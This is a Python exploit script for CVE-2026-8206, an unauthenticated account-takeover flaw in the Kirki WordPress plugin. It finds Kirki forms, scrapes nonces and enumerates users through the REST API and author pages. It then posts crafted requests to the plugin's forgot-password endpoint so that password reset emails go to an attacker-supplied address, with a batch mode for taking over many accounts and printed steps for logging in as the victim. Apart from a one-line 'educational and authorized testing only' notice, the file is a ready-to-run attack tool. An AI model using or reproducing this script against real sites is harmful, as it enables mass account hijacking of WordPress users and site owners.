#!/usr/bin/env python3 """ CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover Exploit CVSS: 9.8 (Critical) Unauthenticated attackers can redirect password reset emails to attacker-controlled addresses by exploiting the CompLibFormHandler REST API endpoint. This allows complete account takeover of any registered WordPress user without authentication. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json from urllib.parse import urljoin, quote from bs4 import BeautifulSoup import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart class KirkiExploit: def __init__(self, target_url, verbose=False): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.nonce = None self.login_page_url = None self.api_endpoint = None def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def find_kirki_forms(self): """Scan site for pages with Kirki forgot-password forms""" self.log("Scanning for Kirki forgot-password forms...") common_pages = [ '/login/', '/register/', '/forgot-password/', '/password-reset/', '/account/', '/login-page/', '/wp-login.php' ] try: # Try common paths for path in common_pages: url = urljoin(self.target_url, path) try: resp = self.session.get(url, timeout=10) if 'KirkiComponentLibrary' in resp.text or 'kirki' in resp.text.lower(): self.log(f"Found Kirki form at: {url}", "SUCCESS") self.login_page_url = url return True except: pass # Try homepage resp = self.session.get(self.target_url, timeout=10) if 'KirkiComponentLibrary' in resp.text: self.log(f"Found Kirki form at homepage", "SUCCESS") self.login_page_url = self.target_url return True self.log("Could not find Kirki forms", "ERROR") return False except Exception as e: self.log(f"Error scanning for forms: {e}", "ERROR") return False def extract_nonce(self, page_url=None): """Extract nonce from Kirki component library""" self.log("Extracting nonce from page source...") if not page_url: page_url = self.login_page_url or self.target_url try: resp = self.session.get(page_url, timeout=10) # Look for KirkiComponentLibrary variable nonce_patterns = [ r'"nonce"\s*:\s*"([a-f0-9]+)"', r'KirkiComponentLibrary.*?"nonce"\s*:\s*"([a-f0-9]+)"', r'"element_nonce"\s*:\s*"([a-f0-9]+)"', r'X-WP-Element-Nonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']' ] for pattern in nonce_patterns: match = re.search(pattern, resp.text, re.DOTALL) if match: self.nonce = match.group(1) self.log(f"Nonce extracted: {self.nonce}", "SUCCESS") return True # Try to find any nonce in the page all_nonces = re.findall(r'"nonce"\s*:\s*"([a-f0-9]+)"', resp.text) if all_nonces: self.nonce = all_nonces[0] self.log(f"Nonce extracted (generic): {self.nonce}", "SUCCESS") return True self.log("Could not extract nonce from page", "ERROR") return False except Exception as e: self.log(f"Error extracting nonce: {e}", "ERROR") return False def enumerate_users(self): """Enumerate WordPress users""" self.log("Enumerating WordPress users...") users = [] common_usernames = [ 'admin', 'administrator', 'root', 'user', 'test', 'wordpress', 'wp-admin', 'webmaster', 'support', 'info' ] try: # Try REST API user enumeration api_url = urljoin(self.target_url, '/wp-json/wp/v2/users') resp = self.session.get(api_url, timeout=10) if resp.status_code == 200: try: user_data = resp.json() for user in user_data: users.append({ 'id': user.get('id'), 'username': user.get('slug'), 'name': user.get('name') }) self.log(f"Found {len(users)} users via REST API", "SUCCESS") return users except: pass # Fallback to common usernames self.log(f"Using common usernames for enumeration", "INFO") for username in common_usernames: users.append({'username': username}) return users except Exception as e: self.log(f"Error enumerating users: {e}") return common_usernames def exploit_account(self, username, attacker_email): """Exploit account takeover via password reset redirect""" self.log(f"Attempting to redirect password reset for user: {username}") if not self.nonce: self.log("Missing nonce", "ERROR") return False # Construct REST API endpoint api_endpoint = urljoin( self.target_url, '/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password' ) self.log(f"API Endpoint: {api_endpoint}", "INFO") # Prepare payload headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-WP-Element-Nonce': self.nonce, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Email body with reset link chip email_body = json.dumps([ {"type": "chip", "value": "reset_link"}, {"type": "text", "value": "Click the link above to reset your password."} ]) data = { 'username': username, 'email': attacker_email, 'emailSubject': 'Password Reset Request', 'emailBody': email_body } try: self.log(f"Sending exploit request...", "INFO") resp = self.session.post(api_endpoint, headers=headers, data=data, timeout=15) self.log(f"Response Status: {resp.status_code}", "INFO") self.log(f"Response Body: {resp.text[:300]}", "INFO") if resp.status_code == 200: response_data = resp.json() if resp.text else {} if 'message' in response_data or 'success' in response_data: self.log(f"Password reset email redirected to: {attacker_email}", "SUCCESS") return True elif 'error' not in response_data: self.log(f"Request appears successful", "SUCCESS") return True self.log(f"Exploit may have failed", "ERROR") return False except Exception as e: self.log(f"Error sending exploit: {e}", "ERROR") return False def exploit_multiple_accounts(self, usernames, attacker_email): """Exploit multiple accounts""" self.log(f"Attempting to exploit {len(usernames)} accounts...") successful = [] for username in usernames: if self.exploit_account(username, attacker_email): successful.append(username) time.sleep(1) # Rate limiting return successful def verify_exploit(self, username): """Verify if account takeover was successful""" self.log(f"Verifying account takeover for: {username}") # This would require access to the email or checking password reset logs # For now, we assume success if the request was accepted return True def generate_reset_link(self, username, reset_key): """Generate password reset link""" reset_link = urljoin( self.target_url, f'/?action=rp&key={reset_key}&login={quote(username)}' ) return reset_link def exploit(self, username, attacker_email): """Execute full exploit chain""" print("\n" + "="*70) print("CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover") print("="*70 + "\n") # Step 1: Find Kirki forms if not self.find_kirki_forms(): self.log("Attempting to use provided target URL directly...", "INFO") self.login_page_url = self.target_url # Step 2: Extract nonce if not self.extract_nonce(): return False # Step 3: Exploit account if not self.exploit_account(username, attacker_email): return False print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Victim Username: {username}") print(f"Attacker Email: {attacker_email}") print(f"Password Reset Email Redirected: YES") print(f"\nNext Steps:") print(f"1. Check email at {attacker_email}") print(f"2. Click the password reset link") print(f"3. Set a new password") print(f"4. Log in as {username}") print("="*70 + "\n") return True class UserEnumerator: """Enumerate WordPress users""" def __init__(self, target_url, verbose=False): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() def enumerate_rest_api(self): """Enumerate users via REST API""" users = [] try: api_url = urljoin(self.target_url, '/wp-json/wp/v2/users') resp = self.session.get(api_url, timeout=10) if resp.status_code == 200: user_data = resp.json() for user in user_data: users.append({ 'id': user.get('id'), 'username': user.get('slug'), 'name': user.get('name'), 'link': user.get('link') }) except Exception as e: if self.verbose: print(f"[ERROR] REST API enumeration failed: {e}") return users def enumerate_author_pages(self): """Enumerate users via author pages""" users = [] try: # Try to find author pages for i in range(1, 20): author_url = urljoin(self.target_url, f'/author/author-{i}/') resp = self.session.get(author_url, timeout=5) if resp.status_code == 200 and 'author' in resp.text.lower(): # Extract username from page match = re.search(r'author-(\w+)', resp.url) if match: users.append({'username': match.group(1)}) except: pass return users def get_all_users(self): """Get all enumerated users""" users = [] users.extend(self.enumerate_rest_api()) users.extend(self.enumerate_author_pages()) return users def main(): parser = argparse.ArgumentParser( description='CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover Exploit' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-u', '--username', required=True, help='Target username to takeover') parser.add_argument('-e', '--email', required=True, help='Attacker email for reset link') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--enumerate', action='store_true', help='Enumerate WordPress users') parser.add_argument('--batch', metavar='FILE', help='Batch exploit from file (one username per line)') parser.add_argument('--delay', type=int, default=1, help='Delay between requests (seconds)') args = parser.parse_args() # Enumerate users if requested if args.enumerate: print("[*] Enumerating WordPress users...") enumerator = UserEnumerator(args.target, verbose=args.verbose) users = enumerator.get_all_users() print(f"\n[+] Found {len(users)} users:") for user in users: print(f" - {user.get('username', 'Unknown')}") if not args.username or args.username == 'admin': print("\nRun exploit with one of these usernames:") print(f" python3 exploit.py {args.target} -u -e {args.email}") sys.exit(0) # Batch exploit if args.batch: print(f"[*] Reading usernames from {args.batch}...") with open(args.batch, 'r') as f: usernames = [line.strip() for line in f if line.strip()] exploit = KirkiExploit(args.target, verbose=args.verbose) # Find forms and extract nonce once if not exploit.find_kirki_forms(): exploit.login_page_url = args.target exploit.extract_nonce() successful = [] for username in usernames: print(f"\n[*] Exploiting {username}...") if exploit.exploit_account(username, args.email): successful.append(username) time.sleep(args.delay) print(f"\n[+] Successfully exploited {len(successful)} accounts:") for username in successful: print(f" - {username}") sys.exit(0) # Single exploit exploit = KirkiExploit(args.target, verbose=args.verbose) success = exploit.exploit(args.username, args.email) sys.exit(0 if success else 1) if __name__ == '__main__': main()